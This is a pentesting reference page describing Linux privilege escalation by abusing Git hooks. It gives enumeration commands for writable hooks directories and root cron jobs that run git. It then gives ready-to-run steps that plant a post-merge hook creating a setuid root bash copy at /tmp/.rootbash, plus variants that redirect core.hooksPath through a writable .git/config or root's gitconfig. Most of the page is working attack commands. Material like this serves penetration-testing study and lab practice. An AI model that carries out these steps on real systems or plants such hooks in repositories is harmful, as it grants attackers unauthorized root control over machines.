# Git Hook Abuse for Linux Privilege Escalation

> Exploiting misconfigured Git hooks in Linux to execute arbitrary code with elevated privileges, targeting writable .git/hooks directories in privileged repositories.

- **URL:** https://hackindex.io/platforms/linux/privilege-escalation/git-hook-abuse
- **Path:** Linux > Privilege Escalation
- **Up:** [Privilege Escalation](https://hackindex.io/platforms/linux/privilege-escalation.md)
- **Published:** 2026-03-14
- **Updated:** 2026-07-14

Git hooks are scripts in `.git/hooks/` that execute automatically on specific git events: commits, merges, pushes, checkouts. When root runs git in a repository where you can write to the `.git/hooks/` directory, your hook script executes as root. This is common in deployment pipelines, automated backup scripts, and CI/CD setups running as root.

Requirements for git hook privilege escalation:

- A root-owned process runs git operations (pull, commit, merge, checkout)
- Write access to the `.git/hooks/` directory or `.git/config`
- The git operation triggers a hook you can plant

## Prerequisites Check

Find git repositories on the system and check write access to their hooks directories:

```bash
# Find .git directories
find / -name ".git" -type d 2>/dev/null | grep -v "^/proc\|^/sys"

# Check write access to hooks directories
find / -path "*/.git/hooks" -type d 2>/dev/null | while read hookdir; do
    [ -w "$hookdir" ] && echo "WRITABLE: $hookdir"
done

# Check for git in processes run by root
ps aux | grep root | grep git
```

Check cron jobs and systemd services running git:

```bash
grep -r "git\|pull\|push\|commit" /etc/cron* /var/spool/cron* 2>/dev/null | grep -v "^Binary"
grep -r "ExecStart.*git" /etc/systemd/system/ /lib/systemd/system/ 2>/dev/null
```

## Identifying the Right Hook

Different git operations trigger different hooks. Match the hook to the operation root is performing:

| Operation | Hook | Trigger |
| --- | --- | --- |
| `git commit` | `pre-commit`, `post-commit` | Before/after commit |
| `git push` | `pre-push`, `post-receive` | Before/after push |
| `git pull` / `git merge` | `post-merge` | After successful merge |
| `git checkout` / `git switch` | `post-checkout` | After checkout |
| `git rebase` | `post-rewrite` | After rebase |
| Any git command | `pre-auto-gc` | Before garbage collection |

If root runs `git pull` as part of a deployment cron job, `post-merge` fires when the pull brings in new commits.

## Planting a Git Hook for Privilege Escalation

**Step 1: Confirm the repository and writable hooks directory:**

```bash
ls -la /path/to/repo/.git/hooks/
```

**Step 2: Identify which operation root runs:**

```bash
# Check the script or cron entry
cat /path/to/deploy-script.sh | grep git
# e.g. git -C /var/www/app pull origin main
```

**Step 3: Write the malicious hook:**

```bash
cat > /path/to/repo/.git/hooks/post-merge << 'EOF'
#!/bin/sh
cp /bin/bash /tmp/.rootbash
chmod u+s /tmp/.rootbash
EOF

chmod +x /path/to/repo/.git/hooks/post-merge
```

**Step 4: Wait for the git operation to trigger:**

For a `git pull` cron job, wait for the next cron interval. For a manual deployment, it fires on the next execution.

After the hook runs:

```bash
/tmp/.rootbash -p
whoami
```

## core.hooksPath Injection

If root runs git in a repository where you can write the `.git/config` file, redirect the hooks path to a directory you control entirely:

```bash
# Check if .git/config is writable
ls -la /path/to/repo/.git/config

# If writable, add a custom hooksPath
git -C /path/to/repo config core.hooksPath /tmp/hooks

# Create your hooks directory and hook
mkdir -p /tmp/hooks
cat > /tmp/hooks/post-merge << 'EOF'
#!/bin/sh
cp /bin/bash /tmp/.rootbash
chmod u+s /tmp/.rootbash
EOF
chmod +x /tmp/hooks/post-merge
```

Now every git operation in that repository uses your `/tmp/hooks/` directory.

## Global git Config Injection

If you can write to root's global git configuration (`/root/.gitconfig` or `~root/.gitconfig`), set a global `hooksPath` that applies to all repositories root operates in:

```bash
ls -la /root/.gitconfig 2>/dev/null
```

If readable and the repository uses global config inheritance:

```bash
# Check if it's writable (rare but possible on misconfigured systems)
test -w /root/.gitconfig && echo "WRITABLE"
```

If writable:

**/root/.gitconfig**

```
[core]
    hooksPath = /tmp/hooks
```

## Finding Deployments That Use git as Root

Common patterns in labs:

```bash
# Web deployments
find /var/www /srv /opt -name ".git" -type d 2>/dev/null

# Automated pull scripts
grep -r "git pull\|git fetch\|git checkout" /etc/cron* /opt /usr/local/bin 2>/dev/null | grep -v "^Binary"

# Check if any web app's directory is a git repo owned by root
find /var/www -name ".git" -type d 2>/dev/null | while read gitdir; do
    repo=$(dirname "$gitdir")
    owner=$(stat -c "%U" "$gitdir")
    echo "REPO: $repo | OWNER: $owner"
    ls -la "$gitdir/hooks/"
done
```

## References

- [Git Hooks ](https://git-scm.com/docs/githooks) - Documentation Full hook reference including trigger conditions and execution context.
- [git-config](https://git-scm.com/docs/git-config) - Documentation core.hooksPath configuration option and global config inheritance.
